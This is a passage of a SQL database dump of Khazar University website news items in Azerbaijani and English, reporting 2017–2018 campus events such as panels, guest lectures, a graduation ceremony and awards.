üzrə\r\ndirektoru Əlövsət Əmirbəyli iştirak etdilər.</p>'),(6015,3434,'az','Xəzər Universitetində “Yüz illik əmanət: Qafqaz İslam Ordusu” adlı panel keçirildi','2018-ci ilin sentyabrın 18-də Bakı Yunus Emre İnstitutu və Xəzər Universitetinin birgə əməkdaşlığı...','<p>2018-ci ilin sentyabrın 18-də Bakı Yunus Emre İnstitutu və Xəzər Universitetinin birgə əməkdaşlığı ilə Xəzər Universitetinin “Mərmər” zalında Bakının Qafqaz İslam Ordusu tərəfindən erməni-daşnak qüvvələrindən azad olunmasının 100-cü ildönümünə həsr olunan “Yüz illik əmanət: Qafqaz İslam Ordusu” adlı panel keçirildi. Paneldə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, Xaricdə Yaşayan Türklər və Qohum Birliyi Başqanlığının vitse-prezidenti cənab Sayit Yusuf, Şimali Kipr Bakı nümayəndəsi Ufuk Arca Turganer, Türkiyə səfirliyinin mətbuat müşaviri Hamid Karadeniz, TRT Bakı təmsilçiliyinin müdiri Murat Akkoç, Xəzər Universitetinin əməkdaşları, Tarix və arxeologiya departamentinin müdiri Roza Arazova, müəllimləri Orxan Zamanov, Ülviyyə İbrahimli, Samirə Qarayeva, tarix ixtisasının tələbələri və digər qonaqlar iştirak edirdilər. Paneldə professor Hamlet İsaxanlı, Yunus Emre İnstitutunun rəhbəri Doç. Dr Cihan Özdemir və Xəzər Universitetinin Tarix və arxeologiya departamentinin müəllimi Dr. Telman Nüsrətoğlu Qafqaz İslam Ordusunun quruluşu və Gəncədən Bakının işğaldan azad edilməsinə qədər davam edən çətin mübarizəsi, dövrün mürəkkəb geopolitik mənzərəsi, Azərbaycan-Türkiyə qardaşlığının tarixi kökləri haqda məruzələrlə çıxış etdilər.</p><p>Panel Türkiyə və Azərbaycan mediası tərəfindən geniş şəkildə işıqlandırılmışdır.</p>'),(4523,2622,'en','The Symposium held at Khazar University is on the official web and Facebook pages of the World One Health Commission','The Symposium dedicated to the World One Health Day held at Khazar University on November 3, is now on the official web and Facebook pages...','<p>The Symposium dedicated to the World One Health Day held at Khazar University on November 3, is now on the official web and Facebook pages of the World One Health Commission. Briefly, the World One Health Commission is a global-oriented organization dedicated to maintain health of people, pets, wildlife, plants, and the whole environment. The organization was first established in April, 1997 by a group of scientists of the American Medical Veterinary Association. In 2009, the organization\'s headquarters moved to Washington, and in 2010, the Iowa State University became the key partner of the World One Health Commission. Currently, there are many new members of the World One Health Commission from all over the world. In parallel with the World One Health Symposium held on November 3, 2017 at Khazar University, 101 events and symposiums were held in 35 countries around the world at the same time.</p><p>A map of events can be viewed through the link below:</p><p><a href=\"https://www.facebook.com/onehealthday/?hc_ref=ARSZ9w8678rGhavF5FnrkC7AsBOBzt6f9VdDq7khh595GB17jxoAdHION9JsgsdzEL0&amp;fref=nf\">https://www.facebook.com/onehealthday/?hc_ref=ARSZ9w8678rGhav</a><a href=\"https://www.facebook.com/onehealthday/?hc_ref=ARSZ9w8678rGhavF5FnrkC7AsBOBzt6f9VdDq7khh595GB17jxoAdHION9JsgsdzEL0&amp;fref=nf\">F5-FnrkC7AsBOBzt6f9VdDq7khh595GB17jxoAdHION9JsgsdzEL0&amp;fref=nf</a>.  </p>'),(3831,2234,'az','“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları \" davam edir','“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları \" təlimindən bu günə olan şəkilləri...','“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları \"&nbsp;təlimindən bu günə olan şəkilləri sizə təqdim edirik.'),(3780,2169,'en','Khazar Staff Members at Kastamonu University','On May 7-14, 2017, 6 teaching staff members of the departments of Geography and Environment and Biology Rovshen Abbasov, Irade Khalilova, Fuad Jafarli, Rovshen Kerimov...','<p>On May 7-14, 2017, 6 teaching staff\r\nmembers of the departments of Geography and Environment and Biology Rovshen\r\nAbbasov, Irade Khalilova, Fuad Jafarli, Rovshen Kerimov, Ramil Sadigov and\r\nJavid Ojaghi were at Kastamonu University, Turkey, within the framework of\r\nErasmus+ program. During the visit they met with Prof. Dr Seyit Aydın, Rector\r\nof Kastamonu University; associate professor Dr Ahmet Sivacıoghlu, Erasmus\r\ncoordinator; Prof. Dr &nbsp;Omer Kuchuk, Dean of the School of Forestry; Prof.\r\nDr Ibret Unal, Dean of the School of Education. Khazar`s staff members were at Kure\r\nMountains National Park, held meetings with representatives of local NGOs as\r\nwell. </p>\r\n<p>It should be noted that the\r\nrelations between Kastamony University and Khazar University started in 2012.\r\nCurrently, Kastamony University is considered the most popular university in\r\nTurkey in forestry.&nbsp;&nbsp;</p>'),(3781,2189,'en','Meeting at Azerbaijan State University of Economics','On May 16, 2017, a meeting on presentation of master programs of the School of Economics and Management of Khazar University, was held at the Azerbaijan State University of...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On May 16, 2017, a\r\nmeeting on presentation of master programs of the School of Economics and Management\r\nof Khazar University, was held at the Azerbaijan State University of Economics.\r\nIsakhan Isakhanli, Vice President for Administration and Student Affairs; Jeyhun\r\nMammadov, Dean of the School of Economics and Management; Dr. Ingilab Ahmadov,\r\nProfessor of the Department of Economics and Management participated at the\r\nmeeting. Comprehensive information on the master programs of Khazar University,\r\ntheir differences and advantages, as well as achievements of the university\r\ngained in the recent years was delivered during the meeting. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">At the end, students’ questions\r\nwere answered.</p>'),(3695,2160,'az','Universitet əməkdaşları Respublika Elmi-Praktiki konfransında çıxış etdilər ','2017-ci il mayın 11-i və 12-də Azərbaycan Respublikası Təhsil Nazirliyi və Azərbaycan Dillər Universitetinin birgə əməkdaşlığı ilə Azərbaycan Dillər Universitetinin yaranmasının...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il mayın 11-i və 12-də Azərbaycan\r\nRespublikası Təhsil Nazirliyi və Azərbaycan Dillər Universitetinin birgə əməkdaşlığı\r\nilə Azərbaycan Dillər Universitetinin yaranmasının 80 illiyinə həsr edilmiş\r\n“Xarici dillərin tədrisinin aktual problemləri” mövzusunda keçirilən Respublika\r\nelmi-praktiki konfransında Xəzər Universitetinin İngilis dili və ədəbiyyatı\r\ndepartamentinin müəllimləri İrina Orucova, Elmira Əliyeva, Zamirə Qurbanova\r\n(doktorant), Gülnaz Novruzzadə (doktorant), həmin departamentin minor\r\nproqramlar üzrə koordinatoru Milana Abbasova (doktorant) və Humanitar və sosial\r\nelmlər fakültəsinin dekan köməkçisi Validə Kərimova (doktorant) konfransda\r\niştirak etdilər. İrina Orucova <em>“Обучение\r\nстилистическому приему сравнение на уроках художественного перевода (на\r\nматериале рассказов Э.Хемингуэя)”</em>, Elmira Əliyeva <em>“Дискурс и коммуникативная компетенция”</em>, Gülnaz Novruzzadə <em>“Azərbaycan və ingilis dillərində inkarlıq\r\nkateqoriyası”</em>, Milana Abbasova <em>“Sosial\r\nşəbəkələrin tələbələrin ingiliscəsinə təsiri”</em>, Validə Kərimova isə <em>“Analyzing the features of Publicist style.\r\nPolitical metaphor in the media”</em> adlı tezisləri ilə uğurlu məruzə etdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Konfransda əsas olaraq xarici dillərin öyrənilməsi,\r\ntədrisi və metodikasında yaranan problemlər müzakirə edildi, ingilis dilinin tədqiqində\r\nİKT-dən istifadə məsələləri, dil öyrənmə prosesində anlam konsepsiyası və bu\r\nkimi başqa məsələlər geniş müzakirə edildi. Konfransda, həmçinin, ADU-nun\r\nrektor vəzifəsini icra edən professor Əfqan Abdullayev, ADU-nun ümumi dilçilik\r\nkafedrasının professoru Fəxrəddin Veysəlli də öz məruzələri ilə çıxış etdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Sonda iştirakçılara sertifikat və&nbsp; məruzələrin çap edildiyi kitab verildi.</p>'),(3919,2282,'az','TEDxKhazarUniversity tədbirinin video çarxları Youtube-da','2017-ci il mayın 13-də Xəzər Universitetində ilk dəfə keçirilən TEDxKhazarUniversity tədbirinin video çarxları artıq TED-in rəsmi Youtube kanalındadır. Bu tədbir 9 mütəxəssis...','<p>2017-ci\r\nil mayın 13-də Xəzər Universitetində ilk dəfə keçirilən TEDxKhazarUniversity tədbirinin\r\nvideo çarxları artıq TED-in rəsmi <em>Youtube</em>\r\nkanalındadır. Bu tədbir 9 mütəxəssis-məruzəçinin çıxışından və Xəzər\r\nUniversiteti tələbə və müəllimlərinin ifa etdiyi musiqi nömrələrindən ibarət\r\nolmuşdur. TEDx danışıqlarının ənənəsinə uyğun olaraq, məruzələr qısa, təsirli,\r\nictimai hadisələrlə əlaqəli, ruh verən olmuş və yüzlərlə insanın bəyənisini\r\ntoplamışdır.</p>\r\n<p>Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı da məruzəçilər arasında idi və o, bir universitet xəyalının\r\ngerçəkliyə qovuşma hekayəsindən danışmışdır. Təhsil kimi siyasi yönü olan bir məsələnin\r\n1991-ci ildə xəyalını qurmaq və onu gerçəkliyə qovuşdurmaq həqiqətən əzm, qərarlılıq,\r\nuzaqgörənlik və çalışqanlıq tələb edir. Hamlet müəllimin məruzəsi, digər 8 məruzə\r\nvə musiqi performansı <a href=\"http://www.youtube.com/\">www.youtube.com</a> saytında <strong><em>tedxkhazaruniversity</em></strong> adı ilə milyonların\r\nnəzərinə təqdim olunmuşdur.</p>'),(6204,3531,'az','eiLink Tədqiqat və İnkişaf Mərkəzi','eiLink Tədqiqat və İnkişaf Mərkəzi',''),(6205,3531,'en','eiLink Research and Development Center','eiLink Research and Development Center',''),(6207,3532,'en','LIC holds a training for the first-year students of the School of Humanities and Social Sciences','On October 18, 2018, Aytaj Misgarli and Samira Orujova, associates of the Library and Information Center...','<p>On October 18, 2018, Aytaj Misgarli and Samira Orujova, associates of the Library and Information Center at Khazar University, held a training “Guidelines for using the services of the Library and Information Center” for the first-year students of the School of Humanities and Social Sciences.</p><p>The students were informed about Guidelines for using the Library, Creating Reader Account, Electronic Catalogue, Electronic Archive and Electronic Database.</p>'),(6208,3533,'az','Dr. Stefano Bragirolinin Xəzər Universitetində 3 günlük mühazirəsi yekunlaşdı','2018-ci il oktyabrın 16-dan 18-dək Xəzər Universiteti Siyasi elm və beynəlxalq departamentinin təşkilatçılığı ilə DESCnet layihəsi...','<p>2018-ci il oktyabrın 16-dan 18-dək Xəzər Universiteti Siyasi elm və beynəlxalq departamentinin təşkilatçılığı ilə DESCnet layihəsi çərçivəsində Tartu Universitetinin Johan Skytte Siyasi Araşdırmalar İnstitutunun Avropa Tədqiqatları üzrə professoru Dr. Stefano Bragiroli ilə tələbələr üçün 3 günlük sessiya keçirildi. Dr. Stefano Bragiroli Xəzər Universitetinin tələbələri üçün üç fərqli mühazirə təqdim etdi.</p><p>2018-ci il oktyabrın 16-da sessiyanın ilk günündə Dr. Stefano Bragiroli “<em>Aİ-nin ümumi xarici və təhlükəsizlik siyasəti və Aİ-NATO münasibəti</em>” mövzusunda mühazirə ilə çıxış etdi. Tələbələr xarici siyasət, Avropa İttifaqının təhlükəsizlik diplomatiyası, Aİ Ümumi Xarici və Təhlükəsizlik Siyasətinin tarixi inkişafı, Aİ-NATO əlaqələri, Avropanın ərazi bütövlüyündə NATO-nun rolu barədə məlumatlandırıldı.</p><p>Oktyabrın 17-də qonaq spikerin “<em>Aİ-Rusiya münasibətləri</em>” adlı seminarı Rusiya və Aİ-nin siyasi gücü, iki siyasi gücün qarşılıqlı siyasi təsiri və maliyyə əlaqəsini, gələcək Rusiya-Avropa İttifaqı münasibətlərini təhlil etdi. Bundan əlavə, Aİ-nin bir neçə üzv dövlətləri ilə Rusiyanın münasibətləri və bu ikitərəfli münasibətlərin Avropa İttifaqı-Rusiya əlaqələrinə təsiri müzakirə edildi.</p><p>Mühazirədən sonra cənab Bragirolinin Xəzər Universitetinin rektoru Dr.Hassan Niknafsla görüşdü. Görüşdə Xəzər Universitetinin tarixi, ixtisaslar, tədqiqat imkanları və universitetin&nbsp;beynəlxalq əlaqələri haqqında məlumat verildi. Bundan əlavə, tələbə və kadr mübadiləsi üzrə qarşılıqlı əməkdaşlıq imkanları, Xəzər Universiteti ilə Tartu Universiteti arasında ikitərəfli proqramların hazırlanması və birgə tədqiqatların aparılması müzakirə olundu. Eyni zamanda, İnkişaf Mərkəzinin rəhbəri Raziyə İsayeva və Siyasi elm və beynəlxalq münasibətlər departamentinin koordinatoru Elmar Mustafayev də&nbsp;görüşdə iştirak etdilər.</p><p>Oktyabrın 18-də “<em>Avropa Qonşuluq Siyasəti və Şərq Tərəfdaşlığı</em>” məsələsi müzakirə olundu. Tələbələr Avropa qonşuluq siyasətinin inkişafı, Avropa qonşuluq siyasəti ölkələri ilə Avropa İttifaqı arasında təhlükəsizlik və miqrasiya, mobillik, viza rejiminin sadələşdirilməsi məsələlərini müzakirə etdilər.</p><p>Mühazirələrin sonunda cənab Dr. Stefano Bragiroli auditoriyanın suallarını cavablandırdı.</p>  \r\n<p><img src=\"/files/politics_depart/erasmus_logo.jpg\" style=\"border:0px  #000000;vertical-align:baseline;width:200px;height:58px;margin-left:7px\">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;<img src=\"/files/politics_depart/descnet_logo.jpg\" style=\"border:0px  #000000;vertical-align:baseline;width:150px;height:61px\"><br></p><p><br></p><p><br></p><p><br></p>'),(3708,2148,'en',' Presentation of a Book  “ Olduğu kimi görünən insan” ( “ A man as he is”)','On May 5, 2017, the presentation of a book “Olduğu kimi görünən insan” ( “ A man as he is”) was held at  Khazar University by the Department of History and Archeology...','<p>On May 5,\r\n2017, the presentation of a book “Olduğu kimi görünən insan” ( “ A man as he\r\nis”) was held at &nbsp;Khazar University by\r\nthe Department of History and Archeology.&nbsp;&nbsp; The\r\nbook includes the works of the outstanding historian, the professor of Baku\r\nState University Elmira Muradaliyeva, articles about her, bibliography and filmography.\r\nThe compilers of the book are Ph.Ds. in Philosophy &nbsp;Nigar Ibrahimova and Gullu Jahangir, the\r\neditor is Farhad Jabbarov, Ph.D in History and the primary editor of the book\r\nis the writer and publicist, film director Nazim Rza. Nazim Rza has also\r\nwritten a large preface to the book entitled “Aydın yolun yolçusu” . Colleagues\r\nand students of the outstanding scholar, staff of the university and the\r\nstudents majoring in History Teaching participated in the event. </p>\r\n<p>&nbsp;Roza Arazova, PhD in history and Head of the\r\nDepartment of History and Archeology, started the presentation and talked about\r\nElmira Muradaliyeva’s great works and personal qualities. The host of the event\r\nNazim Rza continued the topic.</p>\r\n<p>Later,\r\nthe participants of the event expressed their heartfelt words about the outstanding\r\nscholar Elmira Muradaliyeva. Teyyub Gurban, writer and researcher; Alovsat Amirbayli,\r\nDirecrot of Media and Public Relations Office; Dilara Valiyeva, a public\r\nfigure; Irada Gasimova, a member of the Department of History of Azerbaijan of\r\nASPU; Nabatali Qulamoglu, expert on education;&nbsp; Farhad Jabbarov, PhD in\r\nhistory, scientific secretary of the National History Museum of Azerbaijan;\r\nMubariz Ahmadov, PhD in history, associate professor of the Department of\r\nJournalism at Baku Slavic University; Narmina Khalilova, staff member of BP;\r\nElvira Latifova, associate professor of Baku State University and Samira\r\nRafizade, PhD student at Baku State University, expert on public relations of\r\nthe permanent secretariat of TRASERA Intergovernmental Commission, spoke at the\r\nevent. They emphasized Elmira Muradaliyeva’s diverse works, her courage and\r\nobjectivity as a scientist, her care and attention to her students and her\r\ngreat personal qualities. At the end of the event professor Elmira Muradaliyeva\r\nanswered the students’ questions. She expressed her gratitude to the\r\nadministration of Khazar University and to the participants. Flowers were\r\npresented to her.</p>'),(3709,2151,'en','Khazar University’s 42nd Graduation Ceremony','On May 7, 2017, the 42nd graduation ceremony of Khazar University students was held in the conference hall of “Dunya” School. University administration, professors, teachers...','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">On May 7, 2017, the 42nd graduation ceremony of Khazar\r\nUniversity students was held in the conference hall of “Dunya” School.\r\nUniversity administration, professors, teachers, students, parents and guests\r\ntook part in the event. The ceremony started with the National Hymn of the\r\nAzerbaijan Republic.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:35.4pt\"\"=\"\">Dr. Hassan\r\nNiknafs, President of Khazar University, congratulated the graduates and wished\r\nthem success in their future life and career.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt\";margin-left:35.4pt\"=\"\">It was also mentioned that for all 26 years 3038 bachelor and 623\r\nmaster degree students&nbsp; </p>\r\n<p>(including 94 bachelor and 7 master studnets for the\r\ncurrent year) graduted from Khazar University. 767 students among them got the honor\r\ndiploma. The hosts of the event read University Administration’s letter\r\naddressed to the students.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:35.4pt\"\"=\"\">The congratulations\r\nvideos of Khazar University`s previous years graduates who currently work in\r\ndifferent countries&nbsp; of the world were\r\npresented to the audience. Then diploma presentation ceremony started. Dr.\r\nHasan Niknafs, President of the University; Professor Mahammad Nuriyev, Vice\r\nPresident of Khazar University for Academic Affairs; deans of schools; chairs\r\nof departments; and instructors presented diplomas. 4 students who volunteered\r\nduring their study years were awarded for their “active participation” and the\r\ncertificates were presented by &nbsp;Dr. Isakhan Isakhanli, Vice President for\r\nAdministration and Student Affairs. After the chorus performance , the graduates\r\ntook the Khazar University oath. &nbsp;Khumar\r\nHuseynova, &nbsp;Head of the Training and\r\nDevelopment Division of HR Department in the Central Bank; Ramal Ahmadov, Head\r\nOffice Group Leader in Demirbank JSC and Vice President of Alumni Association; &nbsp;Saadat Novruzova , the employee of the\r\nAzerbaijan Presidential Administration delivered speeches on behalf of previous\r\ngradutes of the university and emphasized that the knowledge and experience\r\ngained at Khazar University will pave the way for the successful future career\r\nof the students. Most of Khazar graduates currently work in govermental\r\norganizations, private companes and some run their own business. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:35.4pt\"\"=\"\">On behalf of\r\nparents Azada Samadova spoke to express her gratitude to the university\r\nadministration and teachers. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:35.4pt\"\"=\"\">Students &nbsp;Nizami Aliyev, Ayshan Bashirova and Huseyn\r\nGahramanli recited naziras to Hamlet Isakhanli’s poem “I just loved you much”.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:35.4pt\"\"=\"\">Prof. Hamlet\r\nIsakhanli made a speech in the event to congratulate the graduates. He talked\r\nabout favorable educational atmosphere at the university, emphasising that it\r\nnot only prepares high-quality professionals but also raises up a well-rounded\r\nyoung generation. He also highlighted hard work of professor-teacher staff,\r\nuniversity’s close relationships with other universities of the world, the\r\never-growing material and technical base, Khazar University’s being the first\r\namong Azerbaijan universties in international organizations’ ranking and also\r\nabout the future plans of the university</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:35.4pt\"\"=\"\">The ceremony\r\ncontinued with videos and presentations of graduates’ photos and the concert\r\nprogram consisting of performances of university’s dance groups organized by\r\nthe Department of&nbsp; Music and Fine Arts. The ceremony ended with graduates’\r\npresenting flowers to Hamlet Isakhanli and taking memory photos.&nbsp;</p>'),(3710,2167,'az','“Yeddi gözəlin sevgi əfsanəsi”  tamaşası göstərildi','2017-ci il mayın 8-də Xəzər Universitetinin Mərkəz kampusunun “Dünya” konsert salonunda Xəzər Universitetinin klassik əsərlər əsasında tamaşalar hazırlamaq layihəsi çərçivəsində...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">2017-ci il mayın 8-də Xəzər Universitetinin Mərkəz\r\nkampusunun “Dünya” konsert salonunda Xəzər Universitetinin klassik əsərlər əsasında\r\ntamaşalar hazırlamaq layihəsi çərçivəsində Nizaminin “Yeddy gözəl” əsəri əsasında\r\nhazırlanmış “Yeddi gözəlin sevgi əfsanəsi”&nbsp;\r\ntamaşası göstərildi. İlk tamaşa – Füzulinin “Leyli və Məcnun” poeması əsasında\r\nhazırlamış “Leyli Məcnun və məhəbbət” tamaşası 2016-cı ilin dekabr ayında\r\nnümayiş etdirilmişdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">Tədbirdə &nbsp;Xəzər\r\nUniversitetinni rəhbərliyi, “Xəzər”in və digər universitetlərin tələbələri,\r\nvalideynlər, qonaqlar, o cümlədən xalq artistləri, məşhur rəqqasələr Roza Cəlilova\r\nvə Cəmilə Bayramova iştirak edirdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">Quruluşçu rejissoru Xəzər Universitetinin rəqs müəllimi\r\nSəbinə İsmayılova olan tamaşa Xəzər\r\nUniversitetinin tələbə qızlardan və oğlanlardan ibarət rəqs ansamblının, həmçinin\r\nGənclər və İdman Nazirliyi ilə Azərbaycan Tələbə Gənclər Təşkilatları\r\nİttifaqının birgə təşkil etdikləri “Tələbə baharı” yaradıcılıq festivalının digər\r\nuniversitetlərdən (Dövlət İqtisad Universiteti, Memarlıq və İnşaat\r\nUniversiteti, Dillər Universiteti, Mədəniyyət və İncəsənət Universiteti, Bakı\r\nXoreoqrafiya Akademiyası) olan qaliblərinin iştirakı ilə hazırlanmışdı. Mətnin müəllifi\r\nİqtisad Universitetinin tələbəsi Vüsal Nəcəfov, şeirlərin müəllifi Ceyhun\r\nHüseynli, musiqi tərtibatçısı İqtisad Universitetinin tələbəsi Aslan Əzimzadə\r\nidi. Tamaşada Qara Qarayevin musiqisindən istifadə edilmişdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">Salondakıların\r\ndərin maraqla izlədikləri tamaşadan sonra quruluşçu rejissor Səbinə İsmayılova\r\nda səhnəyə dəvət olunaraq, bütün iştirakçılar alqışlarla qarşılandılar.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı, xalq artistləri Roza Cəlilova və Cəmilə Bayramova çıxış edərək, tamaşnı yüksək qiymətləndirdilər\r\nvə iştirakçılara uğurlar arzuladılar.</p>'),(6113,3484,'az','Xəzər Universitetinin müəllimi “İlin mütəxəssisi” seçildi','Xəzər Universiteti Psixologiya departamentinin koordinatoru və Psixoloji Xidmət Mərkəzinin direktoru psixoloq...','<p>Xəzər Universiteti Psixologiya departamentinin koordinatoru və Psixoloji Xidmət Mərkəzinin direktoru psixoloq Mələk Kərimova International Management Qrupunun səhiyyə işçiləri arasında təşkil etdiyi “İlin mütəxəssisi” tədbirində iştirak etmiş və “İlin mütəxəssisi-2018” mükafatına layiq görülmüşdür. Mükafatın verilmə meyarları arasında təhsil,&nbsp;elmi və sosial fəaliyyət, tədbirlərin təşkili kimi müxtəlif sahələrə diqqət edilmiş və bu məqsədlə sənədlər adı çəkilən qrupa təqdim edilmişdir.</p><p>Tədbir haqqında daha geniş məlumatı bu link vasitəsilə əldə etmək olar:</p><p><a href=\"https://www.youtube.com/watch?v=kLXKIPh1SLk\">https://www.youtube.com/watch?v=kLXKIPh1SLk  </a>.</p>'),(6114,3484,'en','Khazar University instructor elected “Expert of the year”','Malak Karimova, Coordinator of the Department of Psychology of Khazar University and Director of Center...','<p>Malak Karimova, Coordinator of the Department of Psychology of Khazar University and Director of Center for Psychological Service, participated in an event “Expert of the year”, organized by International Management Group for healthcare professionals, and was awarded “Expert of the year-2018”. Award criteria included contributions to education, science, social activities, and for this purpose the required documents were submitted to the relevant group.</p><p>Further information is available through the following link:</p><p><a href=\"https://www.youtube.com/watch?v=kLXKIPh1SLk\">https://www.youtube.com/watch?v=kLXKIPh1SLk&nbsp;</a>.<br></p>'),(6115,3485,'az','Hamlet İsaxanlı ASAN radionun qonağı oldu','Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ASAN...','<p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ASAN radionun qonağı oldu. O, öz müsahibəsində Xəzər Universitetinin tarixi, onun keçdiyi inkişaf yolu və gələcək planları, beynəlxalq layihələrdə iştirakı haqqında danışdı. O, Xəzər Universitetinin beynəlxalq arenadakı uğurları, dünya üzrə təhsil reytinqlərində tutduğu mövqe və iştirak etdiyi layihələr barədə məlumat verdi. Akademik azad mühitin təhsil müəssisəsinin inkişafında xüsusi rol oynadığını, universitet nəzdində yaradılmış mərkəzlərin əhəmiyyətini vurğuladı. Bununla yanaşı, Hamlet İsaxanlı elmi və ədəbi yaradıcılığından da bəhs edərək, son illərdə dünyanın məşhur elmi jurnallarında çap olunmuş elmi-publisistik məqalələri və qələmə aldığı kitabları haqqında danışdı.</p>'),(6116,3485,'en','Hamlet Isakhanli is hosted at ASAN radio','Professor Hamlet Isakhanli, founder of Khazar University and Chairman of its Board of Directors...','<p>Professor Hamlet Isakhanli, founder of Khazar University and Chairman of its Board of Directors and Trustees, was a guest of ASAN radio. In his interview, he gave information about the history of Khazar university, its development road and upcoming plans, talked about participation in international projects. He spoke about success of Khazar University in international arena, position in global education rating list and the projects it had participated. He emphasized that free academic environment played a special role in the development of an educational entity and mentioned the importance of the centers created within the university. Additionally, Hamlet Isakhanli, touching upon his scientific and literary activities, talked about his scientific-publicist articles published in several famous journals of the world as well as the books written by him.</p>'),(6117,3486,'az','“Dünya” məktəbində 5 Oktyabr –Beynəlxalq müəllimlər gününə həsr edilmiş tədbir','2018-ci il oktyabrın 4-də Xəzər Universiteti “Dünya” məktəbində 5 Oktyabr –Beynəlxalq müəllimlər gününə...','<p>2018-ci il oktyabrın 4-də Xəzər Universiteti “Dünya” məktəbində 5 Oktyabr –Beynəlxalq müəllimlər gününə həsr edilmiş tədbir keçirildi. Tədbirdə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı çıxış etdi, müəllim peşəsindən danışdı, müəllimləri təbrik etdi.</p><p>Tədbirdə, həmçinin, Binəqədi Rayon İcra Hakimiyyəti başçısının müavini Aygün Əliyeva, Azərbaycan Təhsil İşçiləri Azad Həmkarlar İttifaqı Respublika Komitəsinin sədr müavini Mirzə Cəfərzadə, İcra Hakimiyyətinin şöbə müdirləri Ramiz Göyüşov, Elman Dadaşov, Azərbaycan Təhsil İşçiləri Azad Həmkarlar İttifaqı Binəqədi rayon komitəsinin sədri Almaz Hacıyeva və rayon ərazisində fəaliyyət göstərən təhsil müəssisələrinin nümayəndələri iştirak edirdilər.</p><p>Tədbirdə Xəzər Universitetinin Kamera orkestrinin ifasında klassik musiqi nömrələri səsləndirildi.</p>'),(6118,3486,'en','Ceremony at “Dunya” school dedicated to October 5 – International Teachers Day','On October 4, 2018, “5th October – International Teachers Day” was held at “Dunya” school of Khazar University...','<p>On October 4, 2018, “5<sup>th</sup> October – International Teachers Day” was held at “Dunya” school of Khazar University. Professor Hamlet Isakhanli, founder of Khazar University and Chairman of its Board of Directors and Trustees, delivered a speech at the event talking about being a teacher and congratulated the teachers.</p><p>Aygun Aliyeva, Deputy head of Binagadi region Executive Power, Mirza Jafarzadeh, Deputy chairman of Azerbaijan Education Workers Free Trade Union Committee, Ramiz Goyushov and Elman Dadashov, Heads of departments at the regional Executive Power, Almaz Hajiyeva, chairwoman of the Binagadi region committee of Azerbaijan Education Workers Free Trade Union, and representatives of educational institutions operating within the area of the region attended the event.</p><p>Classical music numbers were performed at the event by the Chamber Orchestra of Khazar University.</p>'),(6119,3487,'az','Qonaq mühazirəçi Dr. Stefano Braghiroli 3 gün mühazirə oxuyacaq','2018-ci il oktyabrın 16-dan 18-dək Xəzər Universiteti Siyasi elm və beynəlxalq münasibətlər departamentinin...','<p><a href=\"/files/events/decsnet_poster.jpg\"><img src=\"/files/events/decsnet_poster.jpg\" style=\"border:0px #000000;float:left;width:300px;height:422px;margin-left:7px;margin-right:7px\"></a>2018-ci il oktyabrın 16-dan 18-dək Xəzər Universiteti Siyasi elm və beynəlxalq münasibətlər departamentinin təşkilatçılığı ilə universitetinin “Neftçilər” kampusunda Tartu Universitetinin Yohan Skytte Siyasi Araşdırmalar İnstitutunun Avropa Tədqiqatları üzrə elmi araşdırmaçısı Dr. Stefano Braghiroli 3 gün ərzində müxtəlif mövzularda mühazirələr keçirəcək.</p><p>“Ümumi xarici və təhlükəsizlik siyasəti və Aİ-NATO münasibətləri” adlı 1-ci mühazirə oktyabrın 16-sı saat 14:00-da konfrans zalında (otaq 102N); “Aİ-Rusiya münasibətləri” adlı 2-ci mühazirə oktyabrın 17-si saat 11:00-da (otaq 506); “Avropa Qonşuluq Siyasəti və Şərq tərəfdaşlığı”adlı 3-cü mühazirə oktyabrın 18-i saat 11:00-da konfrans zalında (otaq 102N) keçiriləcək.</p><p style=\"padding-left:320px\">Maraqlanan hər kəs tədbirdə iştirak edə bilər.</p>'),(6120,3487,'en','A 3-day lecture by Dr. Stefano Braghiroli, a guest lecturer','On October 16-18, 2018, on an organizational support of the Department of Political Science and 